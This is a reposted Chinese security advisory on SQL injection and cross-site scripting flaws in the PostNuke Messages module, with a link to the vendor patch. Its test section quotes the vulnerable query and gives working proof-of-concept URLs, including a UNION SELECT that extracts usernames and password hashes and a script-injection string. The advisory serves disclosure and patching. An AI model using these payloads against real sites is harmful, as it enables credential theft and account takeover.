来源:绿盟科技
发布日期:2005-05-30
更新日期:2005-05-30
受影响系统:
PostNuke PostNuke 0.76 RC4a
PostNuke PostNuke 0.76 RC4
PostNuke PostNuke 0.750
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 13789
PostNuke是开放源码,开放开发的内容管理系统(CMS)。
PostNuke中存在SQL注入和跨站脚本漏洞,影响Messages模块,可能允许攻击者修改SQL请求的逻辑,在用户浏览器上执行任意HTML和脚本代码。
PostNuke的readmsg.php脚本没有充分过滤start参数值,攻击者可以提交恶意SQL命令作为此参数数据,导致更改原来的SQL逻辑,可造成数据库更改或信息泄露。
<*来源:sp3x (sp3x@securityreason.com)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=111721364707520&w=2
*>
测试方法:
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警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
/modules/Messages/readpmsg.php
=======================
$sql = "SELECT $column[msg_id] AS \"msg_id\",
$column[msg_image] AS \"msg_image\",
$column[subject] AS \"subject\",
$column[from_userid] AS \"from_userid\",
$column[to_userid] AS \"to_userid\",
$column[msg_time] AS \"msg_time\",
$column[msg_text] AS \"msg_text\",
$column[read_msg] AS \"read_msg\"
FROM $pntable[priv_msgs]
WHERE $column[to_userid]=';" . (int)pnVarPrepForStore($userdata) . "';";
$resultID =& $dbconn->SelectLimit($sql,1,$start);
if($dbconn->ErrorNo()<>0) {
error_log("DB Error: " . $dbconn->ErrorMsg());
echo $dbconn->ErrorMsg() . " ";
forumerror(0005);
}
=======================
首先登陆到postnuke,然后向自己发送消息,之后:
http://[target]/[postnuke_dir]/modules.php?op=modload&name=Messages&file=readpmsg&start=0[SQL inj]&total_messages=1
注意:
------
total_messages=1 - total_messages的ID必须存在。
之后就可以看到以下错误消息:
error message :
---------------
========================
You have an error in your SQL syntax; check the manual that corresponds to your MySQL \
server version for the right syntax to use near ';[SQL injection],1'; at line 10 \
========================
SQL注入攻击:
=======================
http://[target]/[postnuke_dir]/modules.php?op=modload&name=Messages&file=readpmsg&start=0%20UNION%20SELECT%20pn_uname,null,pn_uname,pn_pass,pn_pass,null,pn_pass,null%20FROM%20pn_users%20WHERE%20pn_uid=2/*&total_messages=1
跨站脚本攻击:
============================
http://[target]/[postnuke_dir]/modules.php?op=modload&name=Messages&file=readpmsg&start=0';<;h1>cXIb8O3 and sp3x - SecurityReason&total_messages=1
然后就可以得到:
error message :
---------------
========================
You have an error in your SQL syntax; check the manual that corresponds to your MySQL \
server version for the right syntax to use near ';';[Our XSS],1'; at line 10 \
========================
建议:
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厂商补丁:
PostNuke
--------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://news.postnuke.com/Downloads-index-req-viewdownloaddetails-lid-471.html
作者: 坏的刚刚好 时间: 2005-6-4 20:33 标题: [转帖]PostNuke SQL注入和跨站脚本漏洞